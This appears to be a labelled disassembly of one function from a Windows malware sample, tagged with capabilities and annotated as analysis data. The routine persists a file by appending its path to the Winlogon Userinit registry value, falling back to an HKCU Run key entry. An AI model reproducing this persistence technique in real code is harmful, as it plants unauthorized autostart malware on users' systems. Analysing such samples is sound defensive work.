Function at 0x10023d60
Capabilities:
Check if file exists
Persist via run registry key
Persist via winlogon helper dll registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 8], 0
test esi, esi
je 0x10023f6c
mov eax, esi
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10023d80
sub eax, edx
push ebx
mov ebx, eax
je 0x10023f6b
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x10023f6b
push edi
push 0x110
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov dword [ebp - 0xc], edi
test edi, edi
je 0x10023f6a
push 0x110
push 0
push edi
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 4]
push eax
push 0x103
push 0
push str.softwaremicrosoftwindows_ntcurrentversionwinlogon
push 0x80000002
call esi
test eax, eax
jne 0x10023f10
mov edx, dword [ebp - 4]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [ebp - 8]
push ecx
push eax
push eax
push eax
push str.userinit
push edx
call esi
mov eax, dword [ebp - 8]
lea ecx, [eax + ebx + 3]
mov dword [ebp - 8], ecx
call fcn.10012420
mov ebx, eax
test ebx, ebx
je 0x10023f00
mov edx, dword [ebp - 4]
lea ecx, [ebp - 8]
push ecx
push ebx
push 0
push 0
push str.userinit
push edx
call esi
mov eax, dword [ebp + 8]
push eax
push ebx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x10023ef9
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10023e62
sub eax, edx
je 0x10023e8c
cmp byte [ebx + eax - 1], 0x2c
je 0x10023e8c
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10023e77
mov cx, word [0x1004b17c]
mov word [edi], cx
mov edi, dword [ebp - 0xc]
mov eax, edi
mov esi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10023e90
sub eax, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10023ea0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10023ec0
mov dx, word [0x1004b17c]
mov eax, ebx
mov word [edi], dx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10023ed7
sub eax, edx
inc eax
push eax
mov eax, dword [ebp - 4]
push ebx
push 1
push 0
push str.userinit
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edi, dword [ebp - 0xc]
mov esi, ebx
call fcn.10012460
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edx, dword [ebp - 4]
push edx
jmp 0x10023f5d
lea eax, [ebp - 4]
push eax
push 0xf013f
push 0
push str.softwaremicrosoftwindowscurrentversion_run
push 0x80000001
call esi
test eax, eax
jne 0x10023f63
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10023f30
mov ecx, dword [ebp - 4]
sub eax, edx
inc eax
push eax
push edi
push 1
push 0
push str.userinit
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, edi
call fcn.10012460
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 4